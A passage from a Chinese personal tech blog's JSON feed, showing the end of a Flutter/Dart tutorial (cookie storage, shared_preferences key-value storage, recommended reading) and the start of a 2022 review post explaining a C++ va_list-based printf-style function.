class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/sport\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eIDSCookieJar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePersistCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eignoreExpires:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003estorage:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileStorage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esupportPath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/ids\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"shared_preferences\"\u003eshared_preferences\u003c/h4\u003e\n\u003cp\u003e我们程序更多的是要在本地存储一些简单的设置信息,具体来说,是很简单的 key-value 东西了。比如说,你的学号和密码是什么,你的宿舍号之类。我们使用 shared_preferences 来解决这个问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 初始化一个示例\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eSharedPreferences\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设置一份 key-value\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 读取一份 key 对应的数据\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// String 可以改成 Int, Bool, Double 等\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003eas\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 清除所有设置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eprefs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://dart.dev/language\" target=\"_blank\" rel=\"noopener\"\n \u003eDart 语言官方简介\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/get-started/codelab\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 上手教程\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://flutter.cn/docs/development/ui/layout/tutorial\" target=\"_blank\" rel=\"noopener\"\n \u003e布局构建教程\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\n \u003eTraintime PDA (Watermeter) 代码\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"封面\"\u003e封面\u003c/h2\u003e\n\u003cp\u003eMaggie 去日托所的一天。\u003c/p\u003e\n\u003cp\u003e主要看中了蝴蝶,因为蝴蝶和 Dart 的吉祥物蜂鸟类似。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Random/Cirno-Easter%20Egg.png\" alt=\"Featured image of post 我在 2022 年学到了什么\" /\u003e\u003cp\u003e把去年学到的东西,没说过的拼接一下,回见了您。\n(之前名称叫 Hadoop 额外技能,不能就这样就和老博客同步,索性把大作业里面我顺手提到的东西都罗列一通)\u003c/p\u003e\n\u003ch2 id=\"c-大作业技术罗列\"\u003eC++ 大作业技术罗列\u003c/h2\u003e\n\u003cp\u003eC++ 大作业学到的偏门东西。\u003c/p\u003e\n\u003ch3 id=\"va_list-对象\"\u003eva_list 对象\u003c/h3\u003e\n\u003cp\u003e不用 \u003ccode\u003eprintf()\u003c/code\u003e 函数,运用 \u003ccode\u003ecstdarg\u003c/code\u003e 库实现类似该函数的 \u003ccode\u003eerror()\u003c/code\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e函数原型\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e算法\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e生成 \u003ccode\u003eva_list\u003c/code\u003e 对象,然后初始化。\u003c/li\u003e\n\u003cli\u003e通过对母字符串的逐个字符读取,判断以下情况:\n\u003cul\u003e\n\u003cli\u003e如果不是 \u003ccode\u003e%\u003c/code\u003e 直接输出。\u003c/li\u003e\n\u003cli\u003e如果是 \u003ccode\u003e%\u003c/code\u003e, 后面跟着是:\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align:center\"\u003e输入 |\u003c/th\u003e\n\u003cth style=\"text-align:center\"\u003e输出 |\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003es |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符串 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ec |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e字符 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003ed |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e整型数 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align:center\"\u003e% |\u003c/td\u003e\n\u003ctd style=\"text-align:center\"\u003e\u003ccode\u003e%\u003c/code\u003e符号 |\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e注意判断字符还是整数的时候,先按照整型数读入,然后按情况强制类型转换看看。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ecstdarg\u003c/code\u003e 函数库怎么搞不定长形参的?\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e形参的最后一定要是省略号。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_list\u003c/code\u003e 规定一个不定长形参变量。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_start\u003c/code\u003e 让其找到开始位置,之后 \u003ccode\u003eva_arg\u003c/code\u003e 向后读取一个参数。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eva_end\u003c/code\u003e 终止 \u003ccode\u003eva_list\u003c/code\u003e 存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C++\" data-lang=\"C++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstdarg\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e...)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_list\u003c/span\u003e \u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;%\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_end\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// For test.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan 